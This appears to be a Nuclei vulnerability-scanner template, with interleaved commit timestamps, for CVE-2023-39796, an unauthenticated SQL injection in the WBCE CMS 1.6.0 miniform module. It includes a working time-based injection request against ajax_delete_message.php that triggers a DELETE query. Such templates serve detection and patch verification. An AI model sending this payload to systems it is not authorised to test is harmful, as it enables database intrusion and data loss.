2023-11-21 06:27:23 +00:00
id : CVE-2023-39796
info :
name : WBCE 1.6.0 - SQL Injection
author : youngpope
severity : critical
description : |
There is an sql injection vulnerability in "miniform module" which is a default module installed in the WBCE cms. It is an unauthenticated sqli so anyone could access it and takeover the whole database. In file "/modules/miniform/ajax_delete_message.php" there is no authentication check. On line 40 in this file, there is a DELETE query that is vulnerable, an attacker could jump from the query using the tick sign - `.
remediation : Fixed in version 1.6.1
reference :
2023-11-21 07:52:47 +00:00
- https://forum.wbce.org/viewtopic.php?pid=42046#p42046
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
2023-11-23 07:42:52 +00:00
- https://pastebin.com/PBw5AvGp
2023-11-21 06:27:23 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-39796
2023-11-21 07:52:47 +00:00
cwe-id : CWE-89
2023-11-27 09:19:41 +00:00
epss-score : 0.02969
2023-12-12 11:07:52 +00:00
epss-percentile : 0.89791
2023-11-23 07:42:52 +00:00
cpe : cpe:2.3:a:wbce:wbce_cms:1.6.0:*:*:*:*:*:*:*
2023-11-21 06:27:23 +00:00
metadata :
verified : true
2023-11-23 07:42:52 +00:00
max-request : 1
vendor : wbce
product : wbce_cms
2023-11-21 07:52:47 +00:00
tags : cve,cve2023,sqli,wbce,intrusive
2023-11-21 06:27:23 +00:00
http :
- raw :
- |
2023-12-04 04:17:18 +00:00
POST /modules/miniform/ajax_delete_message.php HTTP/1.1
2023-11-21 06:27:23 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record
matchers :
- type : dsl
dsl :
- 'duration>=7'
- 'status_code_1 == 200'
- 'contains(body, "Record deleted successfully!")'
2023-12-06 05:59:56 +00:00
condition : and
2023-12-12 12:02:03 +00:00
# digest: 4a0a0047304502203c753a56d7e607f31747fc0238ae36f7a941344284c0860097d36757f8e8b3d9022100deb6726efaad15ef9de396b3a7827265705dac98cd1d8104c8c52f7bc3444e80:922c64590222798bb761d5b6d8e72950